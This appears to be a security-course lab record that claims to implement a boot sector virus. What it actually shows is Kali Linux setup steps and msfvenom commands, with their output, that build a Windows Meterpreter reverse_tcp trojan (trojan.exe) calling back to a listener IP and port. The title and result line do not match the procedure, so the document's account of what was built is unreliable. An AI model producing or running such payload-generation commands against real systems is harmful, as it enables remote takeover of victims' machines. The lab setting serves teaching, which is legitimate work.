IMPLEMENT THE BOOT SECTOR VIRUS

AIM:

To implement boot sector virus.

PROCEDURE:

Select Root Terminal Emulator

Step 1: Update and Upgrade Kali Linux

Open the terminal and type in: sudo apt-get update

Next, type in: sudo apt-get upgrade

Step 3: Fix any errors

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to usr/share/metasploit-framework by typing in:

>> cd /usr/share/metasploit-framework/

from the root directory. If you make a mistake, you can type in

>> cd ..

to go back to the previous directory or type in any directory after cd to go there.

3. Now that we are in the metasploit-framework directory, type in

>> gem install bundler

to install bundler, then type in

>> bundle install

4.If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

>> gem install bundler:[version number]

and then type in : gem update -system

After all of that, everything should work perfectly.

>> cd /root

to go back to the root directory.

Step 2: Open exploit software

Open up the terminal and type in : msfvenom

Step 4: Choose our payload

To see a list of payloads: msfvenom -l payloads

Step 5: Customize our payload

msfvenom -list-options -p windows/meterpreter/reverse tcp

Step 6: Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]

Example

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

If we look in our files using ls, we see that our new file pops up.

OUTPUT:

1. msfvenom

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| Case |
```

2. msfvenom -l payloads

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windows/64/peinject/reverse_top_roa

windows/64/
```

3. msfvenom —list-options -p windows/meterpreter/reverse_tcp

4. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

```
(kali⊕ kali)-[~]

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

RESULT:

Thus the implementation of boot sector virus executed successfully.